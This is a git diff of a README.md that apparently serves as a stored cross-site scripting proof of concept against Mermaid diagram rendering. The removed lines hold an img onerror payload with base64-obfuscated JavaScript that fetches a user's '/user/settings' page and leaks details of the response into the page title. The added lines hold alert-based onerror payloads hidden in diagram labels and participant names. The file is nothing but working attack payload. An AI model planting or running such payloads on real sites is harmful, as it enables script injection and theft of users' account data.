diff --git a/README.md b/README.md
index 4dbda30..9faf4df 100644
--- a/README.md
+++ b/README.md
@@ -1,6 +1,12 @@
-notes
-
-```mermaid
-erDiagram
-  A ||--o{ B : "<img src=x onerror=window.__mx||(window.__mx=1,eval(atob('YWxlcnQobG9jYXRpb24uaG9zdCksZmV0Y2goJy91c2VyL3NldHRpbmdzJykudGhlbihmdW5jdGlvbihyKXtyZXR1cm4gci50ZXh0KCkudGhlbihmdW5jdGlvbih0KXtkb2N1bWVudC50aXRsZT0nU0VUJytyLnN0YXR1cysnIExFTicrdC5sZW5ndGgrJyBNQUlMSURYJyt0LmluZGV4T2YoJ2V4YW1wbGUuY29tJyl9KX0p')))>"
-```
+notes
+
+```mermaid
+erDiagram
+  A ||--o{ B : "<img src=x onerror=window.__mx||(window.__mx=1,alert(location.host))>"
+```
+
+```mermaid
+sequenceDiagram
+  participant A as Alice<img src=x onerror=window.__mx||(window.__mx=1,alert(location.host))>$$\text{A}$$
+  A->>B: hi
+```